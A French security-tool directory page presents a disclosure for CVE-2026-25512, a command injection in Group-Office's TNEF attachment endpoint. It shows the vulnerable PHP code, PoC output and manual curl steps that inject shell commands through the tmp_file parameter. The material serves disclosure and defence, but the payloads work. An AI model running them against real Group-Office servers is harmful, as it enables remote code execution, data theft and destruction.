Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25512 — RCE - Injection de commandes via le gestionnaire de pièces jointes TNEF | Kitploit
Outils/GitHubGitHub/numberoreo1/cve-2026-25512
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubnumberoreo1/cve-2026-25512

CVE-2026-25512

RCE - Injection de commandes via le gestionnaire de pièces jointes TNEF

Voir le dépôt
4il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25512 : Exécution de code à distance via injection de commande dans le gestionnaire TNEF - Group-Office

CVE-2026-25512 Critical CVSS 9.4

CWE-78

Vecteur CVSS 4.0 : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Table des matières

  • Résumé
  • Versions affectées
  • Détails techniques
    • Cause racine
    • Flux de la source vers le sink
  • Exploitation
    • Exploit automatisé
    • Exploit manuel
  • Impact
  • Chronologie
  • Crédits
  • Références

Résumé

Une vulnérabilité critique d'exécution de code à distance (RCE) a été identifiée dans Group-Office. Le point de terminaison email/message/tnefAttachmentFromTempFile concatène directement le paramètre contrôlé par l'utilisateur tmp_file dans un appel exec(). En injectant des métacaractères shell dans tmp_file, un attaquant authentifié peut exécuter des commandes système arbitraires sur le serveur.


Versions affectées

ProduitVersions affectées
Group-Office≤ 26.0.4

Détails techniques

Cause racine

Le paramètre tmp_file est extrait de la requête HTTP et utilisé pour construire une commande shell sans échappement ni validation. Cela entraîne une injection de commande dans la commande d'extraction tnef, qui s'exécute avec les privilèges du serveur web.

Code vulnérable (www/modules/email/controller/MessageController.php):

protected function actionTnefAttachmentFromTempFile(array $params)
{
    $tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
    $tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);

    chdir($tmpFolder->path());
    exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
    if($retVar!=0)
        throw new \Exception("TNEF extraction failed: ".implode("\n", $output));

    exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
    if($retVar!=0)
        throw new \Exception("ZIP compression failed: ".implode("\n", $output));

    $zipFile = $tmpFolder->child('winmail.zip');
    \GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
    $zipFile->output();

    $tmpFolder->delete();
}

Flux de la source vers le sink

ÉtapeDescription
SourceParamètre de requête tmp_file dans index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=...
Propagationnew \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file'])
Sinkexec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...)

Étant donné que tmp_file est concaténé dans la commande shell, des métacaractères tels que ;, &, les backticks ou $() permettent à un attaquant d'ajouter des commandes arbitraires.

Exigence d'authentification : Oui. MessageController applique une vérification CSRF security_token, donc une session valide et un jeton sont requis.


Exploitation

Exploit automatisé

Le script PoC se connecte, récupère le security_token, injecte une charge utile via tmp_file, puis vérifie l'exécution en lisant rce.txt depuis la réponse ZIP.

python3 poc.py

Exemple de sortie :

➜  ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Exploit manuel

Étape 1 : Connexion

curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
    --data-urlencode "r=core/auth/login" \
    --data-urlencode "username=YOUR_USERNAME" \
    --data-urlencode "password=YOUR_PASSWORD" \
    -H "X-Requested-With: XMLHttpRequest"

Réponse :

{
  "success": true,
  "groupoffice_version": "26.0.4",
  "user_id": 2,
  "security_token": "XXXXXXX",
  "sid": "XXXXXXXXXXX"
}

Étape 2 : Déclencher la RCE

curl -G "http://TARGET:PORT/index.php" \
    -b cookies.txt \
    --data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
    --data-urlencode "security_token=YOUR_TOKEN" \
    --data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
    -o command_output.zip

Résultat :

➜  unzip command_output.zip
Archive:  command_output.zip
  inflating: rce.txt

➜  cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

CatégorieSévéritéDescription
ConfidentialitéÉlevéeL'exécution arbitraire de commandes permet de lire des fichiers sensibles.
IntégritéÉlevéeL'attaquant peut modifier ou supprimer des fichiers du serveur.
DisponibilitéÉlevéeL'attaquant peut perturber les services ou supprimer des données critiques.

Crédits

  • Découvert par : Oreo

Références

  • Site officiel de Group-Office
  • MITRE CVE-2026-25512
Télécharger l’outil